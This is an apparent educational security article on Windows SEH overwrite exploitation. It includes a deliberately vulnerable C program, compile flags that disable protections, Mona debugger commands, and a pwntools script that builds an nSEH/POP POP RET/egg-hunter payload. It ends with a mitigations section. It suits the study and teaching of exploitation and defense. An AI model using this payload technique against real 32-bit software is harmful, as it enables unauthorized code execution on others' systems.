Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Windows has its own distinctive stack-smashing technique that has no direct equivalent on Linux: the Structured Exception Handling (SEH) overwrite. SEH is Windows’ mechanism for handling exceptions such as access violations and divide-by-zero, and on 32-bit x86 its bookkeeping lives on the stack as a linked list of handler records. A stack buffer overflow that reaches those records lets an attacker overwrite a pointer the operating system will later call when an exception fires — turning a crash into controlled execution, often even when the saved return address itself is out of reach or guarded.
This article explains the SEH chain, the classic overwrite-and-trigger technique built around the POP POP RET gadget, and the mitigations Microsoft introduced specifically to defeat it — SafeSEH and SEHOP — along with how egghunting fits in when buffer space is tight. It focuses on the 32-bit picture where SEH exploitation is a live technique; on 64-bit Windows exception handling is table-based (unwind data in the PE, not stack pointers), which removes the classic stack SEH overwrite and is why the technique is discussed in its historical, x86 context.
Attack Prerequisites
A classic SEH overwrite needs a specific bug shape and a cooperative binary:
- A 32-bit stack buffer overflow long enough to reach and overwrite an SEH record (the handler pointer and the
Nextpointer that precede it on the stack). - A way to trigger an exception after the overwrite — often trivial, because overflowing far enough corrupts the stack and causes an access violation on its own, which invokes the (now attacker-controlled) handler.
- A module without SafeSEH (and not protected by SEHOP) from which to source the
POP POP RETgadget — commonly a non-safeseh DLL loaded by the target. - Absent or bypassable DEP/ASLR for the final stage, or a ROP chain to satisfy DEP; SEH gets you EIP, but executing a payload still faces the same NX/ASLR issues as any Windows exploit.
- Enough contiguous space (or an egg-hunter) to stage the final shellcode.
How It Works
Each thread on 32-bit Windows has a chain of EXCEPTION_REGISTRATION_RECORD structures, the head of which is pointed to by the first field of the Thread Environment Block (fs:[0]). Each record is two 4-byte fields on the stack: a Next pointer to the previous record in the chain, and a Handler pointer to the function that should be called if an exception occurs in this frame. When an exception is raised, the dispatcher (ntdll!RtlDispatchException) walks this chain and calls each Handler. If an overflow has overwritten Handler, the dispatcher calls an attacker-chosen address.
You cannot simply point Handler at your shellcode, because at the moment the dispatcher calls the handler the registers do not conveniently point at your buffer — but the stack does contain, at a fixed offset from ESP, a pointer back to the Next field of the very record being handled. The classic technique exploits this: overwrite Handler with the address of a POP POP RET sequence found in a loaded module. When the dispatcher calls it, the two POPs discard the top two stack items and the RET returns into the address sitting at that stack slot — which is the Next pointer field of the SEH record, a location you also control. So you set Next to a short jump (EB 06, jump forward 6 bytes) that hops over the 4-byte Handler value into your shellcode placed immediately after.
This indirection — Handler -> POP POP RET -> Next -> short jump -> shellcode — is why SEH overwrites are so reliable when they apply: the POP POP RET address is a constant within a non-ASLR/non-SafeSEH module, and the relative layout of the record on the stack is fixed. SafeSEH attacks the handler address (validating it against a table of legitimate handlers), while SEHOP attacks the chain’s integrity (verifying the chain still terminates correctly), and each closes a different part of this sequence.
Vulnerable Code / Setup
A minimal 32-bit program with an unbounded string copy into a stack buffer reproduces the bug. Building it without SafeSEH and (for demonstration) with DEP/ASLR off isolates the SEH mechanic:
// vulnseh.c (build 32-bit; MSVC: cl /MT vulnseh.c)
#include <string.h>
#include <stdio.h>
void process(char *in) {
char buf[128];
strcpy(buf, in); // BUG: no bounds check; overruns buf,
} // saved regs, AND the SEH record on stack
int main(int argc, char **argv) {
if (argc > 1) process(argv[1]);
return 0;
}
C:: Compile flags that shape the exploit surface (MSVC):
cl /MT /GS- /EHsc vulnseh.c :: /GS- removes the stack cookie
link ... /SAFESEH:NO /NXCOMPAT:NO /DYNAMICBASE:NO
:: /SAFESEH:NO -> handler not validated (SEH overwrite viable)
:: /NXCOMPAT:NO -> DEP off (raw shellcode can execute)
:: /DYNAMICBASE:NO -> no ASLR (POP POP RET address is constant)
TEXTConfirm the module properties before writing the exploit. In a debugger with the Mona.py extension you enumerate which loaded modules lack SafeSEH/ASLR/DEP and are therefore safe gadget sources:
!mona modules
Base | Rebase | SafeSEH | ASLR | NXCompat | Module
0x00400000 | False | False | False| False | vulnseh.exe
0x10000000 | False | False | False| False | plugin.dll <- source POP POP RET here
TEXTWalkthrough / Exploitation
First find the exact offset to the SEH record. Mona generates a cyclic pattern; after the crash it reports the distance at which Next (SEH) and Handler (SE Handler) are overwritten:
!mona pattern_create 600
:: run target with the pattern; it crashes in the SEH dispatcher
!mona findmsp
SEH record (nseh) overwritten at offset 512
SE handler (seh) overwritten at offset 516
TEXTNext, source a POP POP RET gadget from a module without SafeSEH so its address survives handler validation, and confirm it is free of bad bytes (a strcpy sink forbids 0x00):
!mona seh -m plugin.dll
0x10015a3f : pop ecx # pop ebx # ret [plugin.dll] {no SafeSEH}
:: choose an address with no null/newline bytes for a strcpy vector
TEXTNow assemble the payload. nSEH (the Next field, at offset 512) becomes a short jump over the 4-byte handler into the shellcode; SEH (offset 516) becomes the POP POP RET address. pwntools builds it cleanly:
from pwn import *
context(arch='i386', os='windows')
offset = 512
nseh = asm('jmp $+8') # short jump over SEH into shellcode
seh = p32(0x10015a3f) # POP POP RET in plugin.dll (no SafeSEH)
shell = asm(shellcraft.i386.windows... ) # or msfvenom payload, null-free
payload = b'A' * offset # fill to the SEH record
payload += nseh + b'\x90\x90' # nSEH: short jmp (+ pad to 4 bytes)
payload += seh # SEH: -> POP POP RET
payload += b'\x90' * 16 + shell # NOP sled + shellcode lands here
PythonWhen there is not enough room after the SEH record for the full payload, use an egg-hunter: a tiny (~32-byte) stub placed where space is tight that searches the process’s memory for a 8-byte tag (the “egg”, e.g. w00tw00t) prefixing the real shellcode staged elsewhere in memory, then jumps to it. Mona emits one directly:
!mona egg -t w00t
:: produces a ~32-byte hunter that scans memory (via NtDisplayString/
:: IsBadReadPtr-style syscalls) for the marker 'w00tw00t' + payload.
:: nSEH short-jumps into the hunter; the large payload is sprayed
:: separately, tagged with the egg, anywhere the process can reach.
TEXTUnder DEP, the short jump lands not on raw shellcode but on a ROP chain that calls VirtualProtect (or VirtualAlloc+copy) to mark the payload region executable before running it — the same NX-bypass logic as Linux mprotect ROP, and Mona can generate the chain with !mona rop -m <module> -cpb '\x00\x0a'.
Notes
Note: The
POP POP RETmust come from a module that is BOTH not SafeSEH-protected and (ideally) not ASLR-rebased, so its address is a stable constant with no bad bytes.!mona modulesand!mona sehexist precisely to enumerate qualifying modules; a third-party plugin DLL compiled without modern flags is the classic source in an otherwise hardened process.
Opsec: On 64-bit Windows, exception handling is table-based: unwind and handler info lives in the PE’s
.pdata/.xdata, not in overwritable stack pointers, so the classic stack SEH overwrite does not apply. SEH exploitation is therefore an x86 technique; against x64 targets you pursue return-address/ROP, vtable, or other primitives instead. Do not burn time hunting a stack SEH chain in a 64-bit process.
Detection and Defense
Microsoft layered several mitigations that each break a different link in the SEH chain; enabling them (and building with modern defaults) closes the technique:
- SafeSEH (
/SAFESEH) — the linker records every legitimate exception handler in a table; the dispatcher rejects any handler address not in it, blocking a redirectedHandler. - SEHOP (Structured Exception Handler Overwrite Protection) — a runtime check that walks the SEH chain and verifies it terminates in the expected final record; an overwrite that breaks the chain’s integrity is detected even in non-SafeSEH modules.
- DEP/NX (
/NXCOMPAT) — non-executable stack/heap stops raw shellcode, forcing a ROP/VirtualProtectstage. - ASLR (
/DYNAMICBASE) plus Force ASLR — randomizes module bases so a constantPOP POP RETaddress is no longer available. - Stack cookies (
/GS), Control Flow Guard (/guard:cf), and modern CET shadow stacks — detect the overflow and constrain indirect control transfers; enable exploit-protection policy in Windows Defender Exploit Guard.
Real-World Impact
SEH overwrites were one of the dominant Windows exploitation techniques of the 2000s, especially against third-party software — media players, FTP/mail clients, file-format parsers — where a single non-SafeSEH DLL provided a reliable POP POP RET. The Metasploit and Corelan/Exploit-DB corpora contain hundreds of SEH-based exploits from that era, and the technique is a staple of the OSCP/OSED curriculum precisely because it teaches exception-handler abuse concretely. Microsoft’s staged rollout of SafeSEH (Visual Studio 2003+), DEP, ASLR, and SEHOP (Windows Server 2008 / Vista SP1 onward) is a textbook case of a mitigation arms race retiring a technique on modern, fully hardened 64-bit targets while it persists against legacy 32-bit software built without the flags.
Conclusion
The SEH overwrite is a uniquely Windows lesson in turning a data structure the OS trusts — the on-stack chain of exception handlers — into a control-flow primitive. The mechanism is elegant and worth understanding in full: overwrite the handler with a POP POP RET that bounces execution back into the Next field you also control, short-jump into your shellcode, and reach for an egg-hunter or a VirtualProtect ROP chain when space or DEP demands. SafeSEH, SEHOP, DEP, and ASLR each sever a specific step, which is why the technique now lives mainly against 32-bit legacy binaries — but its structure remains one of the clearest illustrations of how trusted metadata becomes an attacker’s instruction pointer.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments